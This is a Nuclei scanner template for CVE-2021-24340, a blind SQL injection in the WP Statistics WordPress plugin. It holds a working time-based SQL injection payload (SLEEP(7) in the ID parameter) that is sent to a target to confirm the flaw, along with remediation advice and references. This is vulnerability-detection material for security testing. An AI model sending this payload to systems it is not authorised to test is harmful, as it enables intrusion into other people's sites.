nuclei-templates/http/cves/2021/CVE-2021-24340.yaml

57 lines
2.0 KiB
YAML

id: CVE-2021-24340
info:
name: WordPress Statistics <13.0.8 - Blind SQL Injection
author: lotusdll,j4vaovo
severity: high
description: WordPress Statistic plugin versions prior to version 13.0.8 are affected by an unauthenticated time-based blind SQL injection vulnerability.
remediation: |
Update to WordPress Statistics plugin version 13.0.8 or later to mitigate the vulnerability.
reference:
- https://www.exploit-db.com/exploits/49894
- https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
- https://github.com/Udyz/WP-Statistics-BlindSQL
- https://wpscan.com/vulnerability/d2970cfb-0aa9-4516-9a4b-32971f41a19c
- https://nvd.nist.gov/vuln/detail/CVE-2021-24340
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-24340
cwe-id: CWE-89
epss-score: 0.0287
epss-percentile: 0.89579
cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: veronalabs
product: wp_statistics
framework: wordpress
tags: cve,wp-plugin,unauth,wpscan,cve2021,wordpress,sqli,blind,edb
http:
- raw:
- |
GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 15s
GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains(body_1, "WP Statistics")'
condition: and
- type: dsl
dsl:
- 'duration_2>=7'
- 'status_code_2 == 500'
- 'contains(body_2, ">WordPress &rsaquo; Error<") && contains(body_2, ">Your request is not valid.<")'
condition: and
# digest: 4a0a00473045022057b0288199e3feaf5508351572cfd1b3cfdcfa7f6ff731c51c6cea7a62ff9d84022100ff5b56dd8a56ebf358425e01bf22aa748498de44f91b0a68f55e39df3f35d026:922c64590222798bb761d5b6d8e72950